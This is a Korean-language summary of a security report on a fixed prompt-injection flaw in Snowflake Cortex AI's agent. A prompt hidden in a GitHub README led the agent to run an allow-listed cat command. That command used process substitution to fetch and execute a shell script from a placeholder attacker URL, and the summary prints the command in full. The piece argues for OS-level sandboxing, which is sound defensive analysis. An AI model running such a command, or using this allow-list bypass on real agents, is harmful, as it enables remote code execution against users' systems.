Snowflake Cortex AI, 프롬프트 인젝션을 통한 샌드박스 탈출 및 악성코드 실행 취약점 발견

이 요약은 AI가 원문을 분석해 생성했습니다. 정확한 내용은 원문 기준으로 확인하세요.

핵심 요약

Snowflake의 Cortex AI 에이전트에서 프롬프트 인젝션을 통해 시스템 권한을 탈출하고 악성코드를 실행할 수 있는 심각한 보안 취약점이 발견되었다. 공격자는 GitHub 리포지토리의 README 파일 하단에 악성 프롬프트를 숨겨두었으며, 에이전트가 이를 분석하는 과정에서 공격이 시작되었다. 에이전트는 안전하다고 판단된 cat 명령어를 실행했으나, 프로세스 치환 기법을 사용한 공격자의 셸 스크립트 다운로드 및 실행을 막지 못했다. 현재 이 문제는 수정되었으나, 명령어 허용 목록 방식의 보안 취약성을 드러내며 더 강력한 결정론적 샌드박싱의 필요성을 시사한다.

배경

프롬프트 인젝션의 기본 개념, Unix/Linux 셸 명령어 및 프로세스 치환에 대한 이해, AI 에이전트의 도구 사용(Tool Use) 메커니즘

대상 독자

AI 에이전트 개발자 및 보안 엔지니어

의미 / 영향

이 사례는 AI 에이전트의 도구 사용(Tool Use) 기능이 가져올 수 있는 보안 위협을 실증적으로 보여준다. 단순한 텍스트 필터링이나 명령어 제한만으로는 고도화된 셸 우회 기법을 막기 어려우며, 에이전트 인프라 설계 시 하드웨어 수준이나 OS 수준의 강력한 격리 기술이 필수적으로 요구될 것임을 시사한다.

섹션별 상세

PromptArmor의 보고서에 따르면 Snowflake Cortex 에이전트에서 프롬프트 인젝션 공격 체인이 발견되었으며 현재는 수정된 상태이다. 공격은 사용자가 에이전트에게 특정 GitHub 리포지토리의 리뷰를 요청할 때, README 파일 끝에 숨겨진 악성 프롬프트가 활성화되면서 발생한다.

공격자는 에이전트가 cat 명령어를 인간의 승인 없이 실행할 수 있는 안전한 명령어 목록에 포함하고 있다는 점을 악용했다. cat < <(sh < <(wget ...))와 같은 프로세스 치환(Process Substitution) 형식을 사용하여, 텍스트 출력 명령어인 cat 내부에서 실제로는 외부 URL로부터 셸 스크립트를 다운로드하고 실행하도록 유도했다.

bash

cat < <(sh < <(wget -qO- https://ATTACKER_URL.com/bugbot))

cat 명령어의 허용 목록을 악용하여 외부 URL에서 악성 셸 스크립트를 다운로드하고 실행하는 공격 코드

Simon Willison은 많은 에이전트 도구들이 채택하고 있는 명령어 패턴 기반의 허용 목록(Allow-list) 방식이 본질적으로 신뢰하기 어렵다고 지적한다. 명령어의 복잡한 조합이나 셸의 특수 기능을 모두 차단하는 것은 불가능에 가깝기 때문에, 패턴 매칭보다는 실행 환경 자체를 격리하는 방식이 필요하다.

에이전트가 실행하는 모든 명령어는 해당 프로세스에 허용된 모든 권한을 행사할 수 있는 것으로 간주해야 한다. 따라서 에이전트 계층 외부에서 작동하는 결정론적 샌드박스(Deterministic Sandbox)를 구축하여 보안 사고를 원천 차단하는 설계가 중요하다.

실무 Takeaway

AI 에이전트에게 외부 리소스를 분석하게 할 때는 프롬프트 인젝션 공격에 노출될 수 있으므로 입력 데이터에 대한 엄격한 검증이 필요하다.
명령어 허용 목록(Allow-list) 방식은 셸의 프로세스 치환과 같은 우회 기법에 취약하므로, 보안 전략의 핵심으로 삼기에는 부족하다.
에이전트 보안을 위해 애플리케이션 계층의 필터링 대신, OS 수준에서 실행 환경을 완전히 격리하는 결정론적 샌드박싱 도입을 검토해야 한다.

언급된 리소스

문서PromptArmor report on Snowflake Cortex AI escape